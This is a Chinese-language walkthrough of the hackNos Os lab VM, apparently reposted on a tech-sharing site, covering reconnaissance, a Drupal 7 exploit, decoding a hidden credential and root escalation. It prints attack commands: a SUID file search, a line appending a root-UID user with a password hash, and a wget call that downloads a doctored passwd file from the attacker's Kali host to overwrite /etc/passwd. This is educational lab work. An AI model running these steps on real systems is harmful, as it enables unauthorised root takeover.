标签：passwd hackNos 提权 +++++ +++ 172.16 靶机 Os
靶机地址：172.16.1.198(或112) kali地址：172.16.1.108
1 信息收集
靶机界面如下
简单查看
OS：Ubuntu
Web：Apache2.4.18
尝试端口扫描
开放22/80
尝试目录扫描，发现drupal目录
再次查看相关信息
发现cms为drupal 7，暂不确定版本。
再次对http://172.16.1.112/drupal进行目录扫描
发现robot.txt等文件
查看目录文件，发现cms疑似版本
2 漏洞发现与利用
使用Kali搜索漏洞exp
使用第四个
获取shell
python3 -c “import pty;pty.spawn('/bin/bash')”
3 权限提升
网站根目录发现文件
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
base64解密：
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
brainfuck加密后的字符串，在线解密
https://www.splitbrain.org/services/ook
james:Hacker@451
好像没用。。。
bae11ce4f67af91fa58576c1da2aad4b 无法解密
尝试提权
网上搜索，通过suid提权 查找特权文件命令
find / -perm -u=s -type f 2>/dev/null
替换/etc/passwd 在kali上生成密码
$1$xxpp$G9EIoPGzWplWuW2eoo8sB0
Kali下载文件passwd ，把 写入xp 为root权限
echo 'xp:$1$xp$WAsIecX.f3vb95RxIgAHg/:0:0:root:/root:/bin/bash' >> passwd
替换passwd文件
使用wget -O命令替代靶机原来的passwd文件(suid提权意义所在)
wget http://172.16.1.108:8000/passwd -O passwd
查看（写入成功）
更改用户，登录成功
完成提权
标签：passwd,hackNos,提权,+++++,+++,172.16,靶机,Os 来源： https://www.cnblogs.com/appear001/p/12049130.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。